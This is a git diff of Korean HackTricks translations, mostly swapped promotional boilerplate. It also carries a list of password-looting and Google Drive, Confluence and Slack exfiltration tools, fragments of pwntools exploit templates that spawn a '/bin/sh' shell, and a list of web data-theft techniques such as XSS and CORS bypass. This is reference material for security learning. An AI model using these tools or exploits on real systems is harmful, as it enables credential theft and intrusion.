* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
||||
</details>
|
||||
|
||||
**포스트 [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)를 확인하세요.**
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**포스트 확인: [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)**
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요**.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,45 +1,28 @@
|
|||
{% hint style="success" %}
|
||||
**AWS 해킹 학습 및 실습:**<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
**GCP 해킹 학습 및 실습:** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
## **로컬 l00t**
|
||||
|
||||
* [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): 이 스크립트는 PE 벡터를 찾는 것 외에도 파일 시스템 내에서 민감한 정보를 찾습니다.
|
||||
* [**LaZagne**](https://github.com/AlessandroZ/LaZagne): **LaZagne 프로젝트**는 로컬 컴퓨터에 저장된 다양한 소프트웨어의 비밀번호를 찾기 위해 개발된 오픈 소스 애플리케이션입니다. 각 소프트웨어는 다른 기술(평문, API, 사용자 정의 알고리즘, 데이터베이스 등)을 사용하여 비밀번호를 저장합니다. 이 도구는 가장 일반적으로 사용되는 소프트웨어의 비밀번호를 찾기 위해 개발되었습니다.
|
||||
* [**PEASS-ng**](https://github.com/carlospolop/PEASS-ng): 이 스크립트들은 PE 벡터를 찾는 것 외에도 파일 시스템 내의 민감한 정보를 찾습니다.
|
||||
* [**LaZagne**](https://github.com/AlessandroZ/LaZagne): **LaZagne 프로젝트**는 로컬 컴퓨터에 저장된 많은 비밀번호를 검색하는 데 사용되는 오픈 소스 애플리케이션입니다. 각 소프트웨어는 다른 기술(평문, API, 사용자 정의 알고리즘, 데이터베이스 등)을 사용하여 비밀번호를 저장합니다. 이 도구는 가장 일반적으로 사용되는 소프트웨어의 이러한 비밀번호를 찾기 위해 개발되었습니다.
|
||||
|
||||
## **외부 서비스**
|
||||
|
||||
* [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): 이 모듈은 액세스 토큰을 사용하여 Confluence의 API에 연결하고, PDF로 내보내고, 대상이 액세스할 수 있는 Confluence 문서를 다운로드합니다.
|
||||
* [**GD-Thief**](https://github.com/antman1p/GD-Thief): 공격자가 액세스할 수 있는 대상의 Google Drive에서 파일을 탈취하는 레드 팀 도구입니다. 이는 모든 공유 파일, 공유 드라이브의 모든 파일 및 대상이 액세스할 수 있는 도메인 드라이브의 모든 파일을 포함합니다.
|
||||
* [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): 공격자가 액세스할 수 있는 대상 조직의 Google People Directory를 탈취하는 레드 팀 도구입니다. 이는 Google의 People API를 통해 수행됩니다.
|
||||
* [**SlackPirate**](https://github.com/emtunc/SlackPirate): 이 도구는 Python으로 개발된 것으로, 액세스 토큰을 사용하여 Slack 워크스페이스에서 '흥미로운' 정보를 추출합니다.
|
||||
* [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound는 레드 팀과 블루 팀이 Slack 워크스페이스/조직의 탐색을 빠르게 수행할 수 있는 명령 줄 도구입니다. Slackhound는 조직의 사용자, 파일, 메시지 등을 빠르게 검색 가능하며, 대형 객체는 오프라인 검토를 위해 CSV로 작성됩니다.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
* [**Conf-Thief**](https://github.com/antman1p/Conf-Thief): 이 모듈은 액세스 토큰을 사용하여 Confluence의 API에 연결하고 PDF로 내보내고 대상이 액세스하는 Confluence 문서를 다운로드합니다.
|
||||
* [**GD-Thief**](https://github.com/antman1p/GD-Thief): 공격자가 액세스하는 대상의 Google 드라이브에서 파일을 유출하는 레드팀 도구로 Google 드라이브 API를 통해 모든 공유 파일, 공유 드라이브의 모든 파일 및 대상이 액세스하는 도메인 드라이브의 모든 파일을 포함합니다.
|
||||
* [**GDir-Thief**](https://github.com/antman1p/GDir-Thief): Google의 People API를 통해 액세스하는 대상 조직의 Google People Directory를 유출하는 레드팀 도구입니다.
|
||||
* [**SlackPirate**](https://github.com/emtunc/SlackPirate)**:** 이 도구는 네이티브 Slack API를 사용하여 Slack 워크스페이스에서 '흥미로운' 정보를 추출하는 데 사용됩니다.
|
||||
* [**Slackhound**](https://github.com/BojackThePillager/Slackhound): Slackhound는 레드팀 및 블루팀이 Slack 워크스페이스/조직의 정찰을 빠르게 수행할 수 있도록 하는 명령 줄 도구입니다. Slackhound는 조직의 사용자, 파일, 메시지 등을 빠르게 검색 가능하게 하며 대형 객체는 오프라인 검토를 위해 CSV로 작성됩니다.
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```python
|
||||
from pwn import *
|
||||
from time import sleep
|
||||
|
@ -149,16 +150,17 @@ format_string.execute_writes()
|
|||
|
||||
P.interactive()
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>와 함께 제로부터 영웅이 되는 AWS 해킹 배우기</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* 해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>제로부터 영웅이 될 때까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
{% code title="template.py" %}
|
||||
|
@ -203,7 +204,7 @@ P.interactive() #Interact with your shell :)
|
|||
|
||||
## MAIN_PLT = elf.symbols['main']를 찾을 수 없음
|
||||
|
||||
"main" 심볼이 존재하지 않는 경우. 그럼 main 코드가 있는 곳을 찾을 수 있습니다:
|
||||
"main" 심볼이 존재하지 않는 경우 (아마도 이진 파일이 스트립되었기 때문일 것입니다). 그럼 main 코드가 있는 곳을 찾을 수 있습니다:
|
||||
```python
|
||||
objdump -d vuln_binary | grep "\.text"
|
||||
Disassembly of section .text:
|
||||
|
@ -225,16 +226,17 @@ MAIN_PLT = 0x401080
|
|||
```python
|
||||
BINSH = next(libc.search("/bin/sh")) - 64
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,39 @@
|
|||
# 웹에서 민감한 정보 유출하기
|
||||
# 웹에서 민감한 정보 노출 도용
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* 회사를 **HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
만약 **세션에 기반한 민감한 정보를 제공하는 웹 페이지**를 발견한다면: 아마도 쿠키를 반영하거나 인쇄하거나 신용카드 세부 정보 또는 다른 민감한 정보를 제공할 수 있습니다. 이를 도용해볼 수 있습니다.\
|
||||
여기에서는 이를 달성하기 위한 주요 방법을 소개합니다:
|
||||
만약 **세션에 기반한 민감한 정보를 제공하는 웹 페이지를 발견**하면: 쿠키를 반사하거나 인쇄하거나 CC 세부 정보 또는 기타 민감한 정보를 표시할 수 있습니다. 그것을 도용해 볼 수 있습니다.\
|
||||
여기서 주요한 방법을 제시합니다:
|
||||
|
||||
* [**CORS 우회**](pentesting-web/cors-bypass.md): CORS 헤더를 우회할 수 있다면 악성 페이지에 대한 Ajax 요청을 수행하여 정보를 도용할 수 있습니다.
|
||||
* [**XSS**](pentesting-web/xss-cross-site-scripting/): 페이지에서 XSS 취약점을 발견한다면 이를 악용하여 정보를 도용할 수 있습니다.
|
||||
* [**CORS 우회**](pentesting-web/cors-bypass.md): CORS 헤더를 우회할 수 있다면 악의적인 페이지에 대한 Ajax 요청을 수행하여 정보를 도용할 수 있습니다.
|
||||
* [**XSS**](pentesting-web/xss-cross-site-scripting/): 페이지에서 XSS 취약점을 찾으면 해당 취약점을 악용하여 정보를 도용할 수 있습니다.
|
||||
* [**Danging Markup**](pentesting-web/dangling-markup-html-scriptless-injection/): XSS 태그를 삽입할 수 없는 경우에도 다른 일반적인 HTML 태그를 사용하여 정보를 도용할 수 있습니다.
|
||||
* [**Clickjaking**](pentesting-web/clickjacking.md): 이 공격에 대한 보호가 없다면 사용자를 속여 민감한 데이터를 보내도록 유도할 수 있습니다 (예시 [여기](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
|
||||
* [**Clickjaking**](pentesting-web/clickjacking.md): 이 공격에 대한 보호가 없는 경우 사용자를 속여 민감한 데이터를 보내도록 유도할 수 있습니다 (예: [여기](https://medium.com/bugbountywriteup/apache-example-servlet-leads-to-61a2720cac20)).
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 학습 및 실습:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 학습 및 실습: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* 회사를 **HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 저장소에 PR을 제출하여 해킹 요령을 공유하세요.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,14 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
